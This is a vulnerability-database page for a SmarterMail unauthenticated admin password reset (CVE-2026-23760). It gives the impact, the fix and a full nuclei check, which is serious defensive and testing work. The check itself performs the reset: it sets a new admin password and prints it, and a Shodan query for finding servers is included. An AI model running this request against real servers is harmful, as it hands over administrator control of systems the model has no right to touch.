HexBrain

Browse / CVEs / CVE-2026-23760

CVE-2026-23760

SmarterTools SmarterMail - Admin Password Reset

Exploited in the wild. Listed by CISA on 2026-01-26; known to be used by ransomware.

criticalseverity
96.4%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Detected a SmartMail admin password reset vulnerability by sending a POST request to the `/api/v1/auth/force-reset-password` endpoint, indicating that administrative password resets could potentially be triggered without proper authorization.

Impact

Unauthenticated attackers can reset administrator passwords, leading to full administrative compromise of the system.

Fix

Upgrade to build 9511 or later.

How to confirm it

Send: POST /api/v1/auth/force-reset-password
Positive when: contains "\"success\":true" and "debugInfo" AND status 200

Run it with nuclei: nuclei -id CVE-2026-23760 -u <target>

The full check
id: CVE-2026-23760

info:
  name: SmarterTools SmarterMail - Admin Password Reset
  author: watchTowr,DhiyaneshDk
  severity: critical
  description: |
    Detected a SmartMail admin password reset vulnerability by sending a POST request to the `/api/v1/auth/force-reset-password` endpoint, indicating that administrative password resets could potentially be triggered without proper authorization.
  impact: |
    Unauthenticated attackers can reset administrator passwords, leading to full administrative compromise of the system.
  remediation: |
    Upgrade to build 9511 or later.
  reference:
    - https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SmarterMail"
  tags: cve,cve2026,intrusive,smartmail,admin,auth-bypass,vkev,kev,vuln

variables:
  password: "{{rand_text_alphanumeric(12)}}"

http:
  - raw:
      - |
        POST /api/v1/auth/force-reset-password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"IsSysAdmin":"true",
        "OldPassword":"watever",
        "Username":"admin",
        "NewPassword":"{{password}}",
        "ConfirmPassword": "{{password}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - 'debugInfo'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - '"New Password: " + password'

References

Use this check only on systems you are authorised to test. Where the data comes from